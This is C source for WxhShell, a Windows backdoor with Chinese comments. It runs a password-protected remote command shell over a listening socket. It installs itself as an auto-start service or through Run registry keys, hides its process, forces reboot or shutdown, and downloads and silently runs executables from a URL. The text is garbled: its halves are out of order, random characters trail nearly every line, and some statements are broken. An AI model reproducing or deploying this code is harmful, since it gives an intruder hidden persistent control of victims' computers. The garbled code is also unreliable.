  // 关机 Lv`8jSt\  
  case 'd': { 71}L# nQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F|h ,a;2  
    if(Boot(SHUTDOWN)) TYmUPS$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0N)N}y  
    else { Q KDb  
    closesocket(wsh); c)n0D=  
    ExitThread(0); 6@,'m  
    } Q T0IW(A  
    break; 6cgpg+-a  
    } )\:lYI}Wpm  
  // 获取shell P_^ |KEz  
  case 's': { /S2p``E+  
    CmdShell(wsh); ~Q{[fy=  
    closesocket(wsh); !)l%EJngL  
    ExitThread(0); z_[ 3IAZ  
    break; hhh: rmEZl  
  } af`f*{Co3  
  // 退出 0qotC6l~_w  
  case 'x': { _ z"ci$[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b@Mng6R  
    CloseIt(wsh); zd*W5~xKg  
    break; nJM9c[Ou^H  
    } y<Z#my$`|n  
  // 离开 (dGM;Dq8  
  case 'q': { >uqS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L`VQ{|&3V  
    closesocket(wsh); R fVV(X  
    WSACleanup(); hBYh90]  
    exit(1); zei9,^ C  
    break; b|V4Fp  
        } D^T7pO  
  } BSq;R G(  
  } `hQ!*f6  
}GU6Q|s[u[  
  // 提示信息 sQ3ayB`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S:B- nI  
} "*H'bzK  
  } a_}BTkfHa  
T/spUlWu  
  return; #k|g9`  
} }IalgQ(i  
\Im \*A   
// shell模块句柄 fv 1!^CDia  
int CmdShell(SOCKET sock) +oKpA\mz  
{ VEdnP+D  
STARTUPINFO si; ovBd%wJ 0  
ZeroMemory(&si,sizeof(si)); Nf?, _Rl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VdN+~+A:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T\b";+!W  
PROCESS_INFORMATION ProcessInfo; ?T%K +  
char cmdline[]="cmd"; +ke42Jwt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =ty@xHr  
  return 0; M$5%QM}  
} 0z<]\a4  
5M.n'*   
// 自身启动模式 4|o{_g[  
int StartFromService(void) aR(Z~z;C  
{ q0KXuMK  
typedef struct J9KLO=  
{ eABdy e  
  DWORD ExitStatus;  6O|\4c;  
  DWORD PebBaseAddress; ur"e F  
  DWORD AffinityMask; (k2J{6]  
  DWORD BasePriority; 7<C~D,x6  
  ULONG UniqueProcessId; WU4vb  
  ULONG InheritedFromUniqueProcessId; ; hRpAN  
}   PROCESS_BASIC_INFORMATION; Y_ ;i  
x#}eC'Q  
PROCNTQSIP NtQueryInformationProcess; 1 0Tg > H  
B,na  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; " ih>T^|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ok{:QA~#  
_F$t#.o  
  HANDLE             hProcess; +\(ay"+ d  
  PROCESS_BASIC_INFORMATION pbi; s)'_{ A"h  
$\J9F=<a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jX8C2}j  
  if(NULL == hInst ) return 0; ,knI26Jh  
a.*j8T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (R|FQdH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CFrHNU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3,cE/Ei  
u B%^2{uU  
  if (!NtQueryInformationProcess) return 0; c+K=pp@  
uJ5%JB("E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2BU)qv-  
  if(!hProcess) return 0; Appz1q  
{*r$m>HpM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <}'B-k9  
VNEZBy"F  
  CloseHandle(hProcess); Ru\Lr=9  
JX,#W!d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1AkHig,  
if(hProcess==NULL) return 0; 2P> za\  
'L+BkE6+%  
HMODULE hMod; 9h0,L/;\  
char procName[255]; u|*| RuY  
unsigned long cbNeeded; ^3@a0J=F  
O0*L9C/Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H?bs K~  
v+_Y72h*a  
  CloseHandle(hProcess); )B5gs%u]  
<XcMc<h~  
if(strstr(procName,"services")) return 1; // 以服务启动 oZcwbo8  
d`][1rZk  
  return 0; // 注册表启动 &Or=_5Y`  
}  G#n)|p  
5z mHb  
// 主模块 c]v3dHE_h  
int StartWxhshell(LPSTR lpCmdLine) }Z$G=;3#  
{ v2X0Px_  
  SOCKET wsl; F3|pS:  
BOOL val=TRUE; ] Sx= y<  
  int port=0; |[7$) $  
  struct sockaddr_in door; nZ+5@( *  
Zg f||,  
  if(wscfg.ws_autoins) Install(); I=Dk'M  
ymVd94L  
port=atoi(lpCmdLine); 4bjp*1*]  
7,VWvmWJex  
if(port<=0) port=wscfg.ws_port; bh6wI%8H  
w^6N :]d  
  WSADATA data; 3EX&.OL!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g<tTZD\g  
'# 2J?f'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 J2F>m40  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GoA>sK  
  door.sin_family = AF_INET; T@.m^|~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t>u9NZt G  
  door.sin_port = htons(port); ~vZzKRVS  
u,9U0ua@;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )KQv4\0y<  
closesocket(wsl); uB"m!dL  
return 1; BU{ V,|10a  
} .wn_e=lT  
tpzdYokh >  
  if(listen(wsl,2) == INVALID_SOCKET) { RKb3=} *C  
closesocket(wsl); m)2hl~o_  
return 1; wyEgm:Vt  
} [!efQap  
  Wxhshell(wsl); -"fq34v  
  WSACleanup(); CKw)J}z  
<Y'YpH`l  
return 0; w3UJw  
_ShJ3\,K  
} /4BXF4ksi,  
#IA(*oM  
// 以NT服务方式启动 RWcQT`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g' U^fN  
{ T>o# *{q n  
DWORD   status = 0; W/X;|m`  
  DWORD   specificError = 0xfffffff; U>jk`?zW  
3;gtuqwD$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <:t\P.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R@aT=\u+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9+|,aG s  
  serviceStatus.dwWin32ExitCode     = 0; IoX 9yGq  
  serviceStatus.dwServiceSpecificExitCode = 0; (pNng"/  
  serviceStatus.dwCheckPoint       = 0; V]cY+4Y  
  serviceStatus.dwWaitHint       = 0; 1OeDWEcB  
)O(Gw-jWE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3<E$m *  
  if (hServiceStatusHandle==0) return; n=MYv(Pp}  
jM<Ihmh|  
status = GetLastError(); 7B :aJfxM  
  if (status!=NO_ERROR) L%Hm# eFx  
{ <xNM@!'\h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ot<!YM  
    serviceStatus.dwCheckPoint       = 0; ;$;/#8`>  
    serviceStatus.dwWaitHint       = 0; p5BcDYOw`  
    serviceStatus.dwWin32ExitCode     = status; /YR $#&N2  
    serviceStatus.dwServiceSpecificExitCode = specificError; f|E'eFrFk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0~+:~$VrT  
    return; tC~itU=V  
  } 0R%58,R  
x"T^>Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?OdA`!wE  
  serviceStatus.dwCheckPoint       = 0; 2p[3Ap  
  serviceStatus.dwWaitHint       = 0; {<8#T`I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = F<`-6  
} %/C[\w p81  
'FXZ`+r|  
// 处理NT服务事件,比如:启动、停止 _/\H3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y>~zt -  
{ !g:UM R  
switch(fdwControl) 7!)%%K.z6  
{ :M`BVZ1t  
case SERVICE_CONTROL_STOP: "VCr^'  
  serviceStatus.dwWin32ExitCode = 0; IGQ8-#=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0~+ k  
  serviceStatus.dwCheckPoint   = 0; ((q(Q9(F  
  serviceStatus.dwWaitHint     = 0; je% 12DM  
  { =? aB@&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,' B=eY,  
  } gC 4#!P  
  return; (k45k/PAP  
case SERVICE_CONTROL_PAUSE: -6>rR{z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wUndNE   
  break; = 0Sa  
case SERVICE_CONTROL_CONTINUE: xn[di-L F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fXj  
  break; {}e IpK,+  
case SERVICE_CONTROL_INTERROGATE: AG2jl/  
  break; c5pG?jr+d  
}; w:v:znQrW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ji%%f  
} j=4>In?x  
(1vS)v $L  
// 标准应用程序主函数 #\QC%"%f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) voEc'JET  
{ mD3#$E!A1  
[8#l~ |U  
// 获取操作系统版本 Qg=~n:j  
OsIsNt=GetOsVer(); .}s a2-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SF7 Scd  
 v<W++X7z  
  // 从命令行安装 ;<H2N0qJ(  
  if(strpbrk(lpCmdLine,"iI")) Install(); /.bwwj_;  
J$[Vm%56  
  // 下载执行文件 eNb =`  
if(wscfg.ws_downexe) { -`&;3 7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i YkNtqn/  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^` THV  
} cyyFIJj]  
[E1I?hfJ  
if(!OsIsNt) { g^FH[(P[G  
// 如果时win9x,隐藏进程并且设置为注册表启动 2t<CAKBB  
HideProc(); )1le-SC  
StartWxhshell(lpCmdLine); j*}xe'#  
} M-hnBt  
else r9[J3t*({~  
  if(StartFromService()) g;T`~  
  // 以服务方式启动 pz+#1=b]  
  StartServiceCtrlDispatcher(DispatchTable); ?*=Jq  
else tTal<4  
  // 普通方式启动 C.O-iBVe#  
  StartWxhshell(lpCmdLine); 10(N|2'q  
u QCS%|8C  
return 0; ]LjW,b"  
} "^`AS"z'  
62) F  
v80 e]M!  
he@swE&  
=========================================== 3V]a "C   
|>)mYLN!y  
gC.T5,tn  
qI9 BAs1~}  
NG ~sE&,7  
XOMWqQr|  
" lx SGvvP4  
cqDnZ`|6  
#include <stdio.h> G(i/ @>l  
#include <string.h> wB@A?&UY  
#include <windows.h> ,O(uuq  
#include <winsock2.h> &I8ZVtg  
#include <winsvc.h> L`6`NYR  
#include <urlmon.h> 90a= 39kI  
%"D-1&%zY  
#pragma comment (lib, "Ws2_32.lib") K9c:K/H  
#pragma comment (lib, "urlmon.lib") GmFNL/x8-v  
hI$an%Y(  
#define MAX_USER   100 // 最大客户端连接数 A]1](VQ)4  
#define BUF_SOCK   200 // sock buffer ,b{4GU$3  
#define KEY_BUFF   255 // 输入 buffer udMq>s;  
~p&sd)  
#define REBOOT     0   // 重启 uP.3(n[&  
#define SHUTDOWN   1   // 关机 e8Jd*AKjb  
I~,*Rgv/Z  
#define DEF_PORT   5000 // 监听端口 =x> KA*O1  
MFrVGEQBRL  
#define REG_LEN     16   // 注册表键长度 NR" Xn7G  
#define SVC_LEN     80   // NT服务名长度 hz!.|U@,{<  
q-'zZ#  
// 从dll定义API 8l6R.l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1QThAFN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = >9`qcNW_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :v#3;('7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @C#lA2(I4  
gwyz)CUkL  
// wxhshell配置信息 {.v+ iSM  
struct WSCFG { zrcSPh  
  int ws_port;         // 监听端口 9"[#\TW9Vb  
  char ws_passstr[REG_LEN]; // 口令 hq|/XBd||  
  int ws_autoins;       // 安装标记, 1=yes 0=no I?gbu@o  
  char ws_regname[REG_LEN]; // 注册表键名 09r.0Ks  
  char ws_svcname[REG_LEN]; // 服务名 M%m$ 5[;n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k 2~j:&p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -O\`G<s%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PM{kiz^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?o2L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C.eZcNJG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b@Fa| >"_  
B|tP3<  
}; cOcm9m#  
5=eGiF;0\  
// default Wxhshell configuration IsI\T8yfc  
struct WSCFG wscfg={DEF_PORT, xGjEEBL  
    "xuhuanlingzhe", [dL#0~CL$  
    1, rLVS#M#&e>  
    "Wxhshell", q*>`HTPcU  
    "Wxhshell", -g~$HTsGm  
            "WxhShell Service", @AJt/wPk  
    "Wrsky Windows CmdShell Service", {B 34^H:  
    "Please Input Your Password: ", HghNI  
  1, ~%cbp&s*/q  
  "http://www.wrsky.com/wxhshell.exe",  V}&  
  "Wxhshell.exe" <3'r&ks  
    }; /p~gm\5Z  
w1[F]|  
// 消息定义模块 a!;?!f-i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?g 1%-F+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F[LBQI`zq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RX '( l  
char *msg_ws_ext="\n\rExit."; h/d&P  
char *msg_ws_end="\n\rQuit."; Y>r9"X| &H  
char *msg_ws_boot="\n\rReboot..."; IYd)Vv3'j  
char *msg_ws_poff="\n\rShutdown..."; fN@2 B  
char *msg_ws_down="\n\rSave to "; ydw')Em  
{$b]K-B  
char *msg_ws_err="\n\rErr!"; e(sQgtM6  
char *msg_ws_ok="\n\rOK!"; oE}1D?3Sp  
E}UlQq  
char ExeFile[MAX_PATH]; :WE(1!P@  
int nUser = 0;  QHOem=B  
HANDLE handles[MAX_USER]; C;_10Rb2ut  
int OsIsNt; -rUn4a  
7tJPjp4l  
SERVICE_STATUS       serviceStatus; =F6J%$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YoJN.],gf  
OPar"z^EV  
// 函数声明 qm2  
int Install(void); dF"Sz4DY#  
int Uninstall(void); 5TqX;=B  
int DownloadFile(char *sURL, SOCKET wsh); .Gw;]s3  
int Boot(int flag); 't]=ps  
void HideProc(void); ,JX/` 7y  
int GetOsVer(void); ygh*oVHO  
int Wxhshell(SOCKET wsl); S Bs_rhe  
void TalkWithClient(void *cs); C,.$g>)MZK  
int CmdShell(SOCKET sock); ~!\n  
int StartFromService(void); |nIm$p'  
int StartWxhshell(LPSTR lpCmdLine); 7i`8 c =.  
:`25@<*u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -W2 !_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x,pzX(  
L"9,K8  
// 数据结构和表定义 npZ=x-ce  
SERVICE_TABLE_ENTRY DispatchTable[] = qlO(z5Ak  
{ Z8Qmj5'[  
{wscfg.ws_svcname, NTServiceMain}, Ry8@U9B6,t  
{NULL, NULL} .>_p7=a  
}; ?Jio9Zr  
YvRMUT  
// 自我安装 Gz@'W%6yaV  
int Install(void) $3k5hDA0e  
{ "*a^_tsT?i  
  char svExeFile[MAX_PATH]; /2 ')u|  
  HKEY key; gq!| 0  
  strcpy(svExeFile,ExeFile); 1d,;e:=j  
hT]\*},  
// 如果是win9x系统,修改注册表设为自启动 s%GhjWZS  
if(!OsIsNt) { ?"\X46Gz;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B[}#m'Lv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); })%WL;~  
  RegCloseKey(key); a!vF;J-Zqa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^h1EE=E"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `L/\F,  
  RegCloseKey(key); NLf6}  
  return 0; Q0s!]Dk  
    } G$ ( B26  
  } r&U5w^p  
} _Gv n1"l  
else { |5^tp  
e4ym6q<6!  
// 如果是NT以上系统,安装为系统服务 kO>F, M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .IXkdy  
if (schSCManager!=0) RX3P %xZ  
{ : A9G>qg  
  SC_HANDLE schService = CreateService gP:mZ7  
  ( kdcr*7w  
  schSCManager, ]lV\D8#  
  wscfg.ws_svcname, PRa #; Wb  
  wscfg.ws_svcdisp, B@U;[cO&  
  SERVICE_ALL_ACCESS, >,wm-4&E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hx5t![g2K!  
  SERVICE_AUTO_START, ckG`^<  
  SERVICE_ERROR_NORMAL, 9)}Nx>K  
  svExeFile, vau0Jn%=ck  
  NULL, z)*7LI  
  NULL, >VIb|YA  
  NULL, XR3=Y0YDf  
  NULL, kqdF)Wa am  
  NULL kwF4I )6  
  ); 1 w*DU9f  
  if (schService!=0) U51C /A  
  { gJz~~g'  
  CloseServiceHandle(schService); MZ]#9/  
  CloseServiceHandle(schSCManager); SkU'JM7<95  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G;Jqby8d  
  strcat(svExeFile,wscfg.ws_svcname); ^UOVXRn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tj7{[3~-[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qD0sD2 x  
  RegCloseKey(key); WCJ$S\#  
  return 0; QU{|S.\  
    } b5NPG N  
  } >LS*G qjq  
  CloseServiceHandle(schSCManager); IWc?E  
} tj<a , l  
} [Tmpj9! q  
`_M*2(rt  
return 1; jG~zpZh  
} Y_S>S( 0  
oS.fy31p  
// 自我卸载 A"ApWJ3  
int Uninstall(void) &b~if}vcb  
{ x"7`,W  
  HKEY key; JWzN 'a R  
] /w: 5o#  
if(!OsIsNt) { _ljdo`j#N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nZ7FG  
  RegDeleteValue(key,wscfg.ws_regname); ] A.:8;  
  RegCloseKey(key); wd 86 y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-J12O  
  RegDeleteValue(key,wscfg.ws_regname); $=) i{kGS@  
  RegCloseKey(key); <~D-ew^BU  
  return 0; $w%n\t>B  
  } 98"/]ERJ  
} iPoh2  
} n^kszIu~  
else { N!RkV\:X  
U5_1-wV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eksYIQZ]  
if (schSCManager!=0) !LDuCz -  
{ tw{V7r~n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WJ D1U?`  
  if (schService!=0) \r4QS  
  { {tqLH2cO  
  if(DeleteService(schService)!=0) { * }\}@0%  
  CloseServiceHandle(schService); #*r u*  
  CloseServiceHandle(schSCManager); L&*/ s&>b  
  return 0; sA!,)'6  
  } >M1m(u84#  
  CloseServiceHandle(schService); @!;EW R]  
  } 0C3s  
  CloseServiceHandle(schSCManager); B-EVo&.  
} b d!|/Lk  
} 0qND2_  
k#*tf:R  
return 1; q].n1w [  
} &tKr ?l  
X0IXj%\N  
// 从指定url下载文件 L!fiW`>0G  
int DownloadFile(char *sURL, SOCKET wsh) KB3zQJY  
{ 0H<&*U_V  
  HRESULT hr; qQz f&"  
char seps[]= "/"; "otks\I<  
char *token; &2i3"9k  
char *file; 7-*QF>w<a  
char myURL[MAX_PATH]; IYb%f T  
char myFILE[MAX_PATH]; <|,0%bq)|  
8 oK;Tzh  
strcpy(myURL,sURL); P8Nzz(JF  
  token=strtok(myURL,seps); XnBpL6"T`  
  while(token!=NULL) Ry5/O?Q L  
  { `F)Q=  
    file=token; =Tdh]0  
  token=strtok(NULL,seps); 5|I2  
  } e7fA-,DV  
S w<V/t  
GetCurrentDirectory(MAX_PATH,myFILE); s*blZdP  
strcat(myFILE, "\\"); HkgmZw,  
strcat(myFILE, file); X^pxu6nm-  
  send(wsh,myFILE,strlen(myFILE),0); ,VtrQb)Yf  
send(wsh,"...",3,0); ~Z ,bd$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jSY&P/[ xb  
  if(hr==S_OK) ~}B6E)   
return 0; aahAUhF  
else H\Bh Af  
return 1; gc%aaYf>  
+W=  
} q '6gj  
$M `%A  
// 系统电源模块 iGCA>5UE  
int Boot(int flag) A(!nT=0o  
{ /~k)#44  
  HANDLE hToken; v&.`^ O3W  
  TOKEN_PRIVILEGES tkp; >O7ITy  
IYJS>G%*  
  if(OsIsNt) { 8A|{jH74  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t")+ L{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %&D,|Yl6  
    tkp.PrivilegeCount = 1; Cpyv@+;D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hJ)>BeH0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HLjXH#ry  
if(flag==REBOOT) { W6kDQ& q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Kr\"o1]  
  return 0; 32DSZ0  
} Sk*-B@!S  
else { . *9+%FN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @PYCl  
  return 0; T);eYC"@  
} pv:7kgod  
  } }]8n3&*  
  else { ;=&D_jGf]  
if(flag==REBOOT) { TB=KT j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T?p' R  
  return 0; "K.XoG4|  
} N k~Xz  
else { $Vu %4kq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]e*Zx;6oi  
  return 0; 81O\BO.T  
} u!&w"t61Nd  
} [# X:!xcl  
,&wTUS\  
return 1; D][e uB  
} %SWtE5HZQq  
[31vx0$_p  
// win9x进程隐藏模块 ^qs{Cf$  
void HideProc(void) )X8?m <cG  
{ M 5mCG  
.GJl@==~1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R"j6 w[tn  
  if ( hKernel != NULL ) mp^;8??;  
  { nG0Uv%?{pj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9t`Z_HwdCb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5&&6e`  
    FreeLibrary(hKernel); @,b:s+]rp  
  } %?o@YwBo^E  
e ]@Ex  
return; (}$~)f#s  
} 6mawcK:7  
qDOJ;> I  
// 获取操作系统版本 2u0dn?9\  
int GetOsVer(void) |sM#nhxK  
{ amPC C  
  OSVERSIONINFO winfo; Hk65c0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c*O{?b  
  GetVersionEx(&winfo); c1v,5c6d j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1|_8+)i;  
  return 1; kR C0iTV'I  
  else n+5X*~D  
  return 0; Ol;}+?[Q  
} ZI<p%IQ   
W*'gqwM&  
// 客户端句柄模块 Jk$XL<t  
int Wxhshell(SOCKET wsl) =:fFu,+{  
{  T?!&a0  
  SOCKET wsh; O2W EA  
  struct sockaddr_in client; ?[[K6v}q{  
  DWORD myID; 4JF8S#8B  
Ri,8rf0u  
  while(nUser<MAX_USER) owYSR?aG  
{ Y0kDHG  
  int nSize=sizeof(client); oB3,"zY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rp#9T?i``[  
  if(wsh==INVALID_SOCKET) return 1; Ivw+U-Mz  
$gYy3y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mY+.(N7m  
if(handles[nUser]==0) 'O#,;n  
  closesocket(wsh);  eRlJ  
else (#w8/@JxF  
  nUser++; J- %YmUc)  
  } GJ>vL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .x$!Rc}  
(qE*z  
  return 0; 4:!KtpR[O  
} #8 N9@  
3@k;"pFa<  
// 关闭 socket *fBI),bZa  
void CloseIt(SOCKET wsh) 91oIxW  
{ V^qZ~US  
closesocket(wsh); 7\'ow|)}v  
nUser--; IN? A`A  
ExitThread(0); 97H2hYw9l  
} # ;,b4O7@  
_IAvFJI  
// 客户端请求句柄 S9sFC!s1g  
void TalkWithClient(void *cs) R5QSf+/T4  
{ l8n}&zX  
Z%*_kk  
  SOCKET wsh=(SOCKET)cs; }2sc|K^  
  char pwd[SVC_LEN]; 8aCa(Xu(H  
  char cmd[KEY_BUFF]; y{Wtm7fnA  
char chr[1]; #S[:Q.0 ;  
int i,j; 1goK>=-^  
J~Gq#C^e  
  while (nUser < MAX_USER) { Ji7%=_@'-#  
.Gq)@{o>  
if(wscfg.ws_passstr) { w%,Iy, G@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / jI>=:z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *iSsGb\M%  
  //ZeroMemory(pwd,KEY_BUFF); "%+C@>`(  
      i=0; Jo1=C.V`Y  
  while(i<SVC_LEN) { \ H#zRSbZ  
}r&^*" 2=  
  // 设置超时 A9lnQCsJ  
  fd_set FdRead; Sd]`I)  
  struct timeval TimeOut; xUYUOyV  
  FD_ZERO(&FdRead); 1>W|vOv"Z?  
  FD_SET(wsh,&FdRead); 6 &% c  
  TimeOut.tv_sec=8; 'C6 K\E  
  TimeOut.tv_usec=0; dZ UB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S3-3pJ]~Zk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [YT"UVI  
C7%+1w'D8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +p =n-  
  pwd=chr[0]; w'q}aQS  
  if(chr[0]==0xd || chr[0]==0xa) { @DT${,.49  
  pwd=0; 89F^I"Im(  
  break; dMsX}=EI<  
  } '?+q3lps  
  i++; *Yk3y-   
    } w{[OtGIi3  
pCSR^ua>  
  // 如果是非法用户,关闭 socket 7Rr(YoWa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C& 0iWY\a  
} /nEh,<Y)  
E K ks8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [wAI;=.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XW6>;:4k  
PTe8,cD>  
while(1) { &?(r# T  
YPAMf&jEF  
  ZeroMemory(cmd,KEY_BUFF); H"4^  
`.+_}.m  
      // 自动支持客户端 telnet标准   d$<HMs:o@  
  j=0; #RoGyrLo  
  while(j<KEY_BUFF) { rlYAy5&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4 Mp[  
  cmd[j]=chr[0]; C=}YKsi|R|  
  if(chr[0]==0xa || chr[0]==0xd) { :)+|q  
  cmd[j]=0; ^9eJ)12pK  
  break; CuPZ0  
  } 9;u$a^R.  
  j++; )*N]Q  
    } oB8u[ !  
i Xtar;%  
  // 下载文件 B8z3W9  
  if(strstr(cmd,"http://")) { ,u|vpN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U/E M(y  
  if(DownloadFile(cmd,wsh)) S?nXpYr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzL)qH$b  
  else #_{3W-35*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HK>!%t0S  
  } I.I:2Ew+  
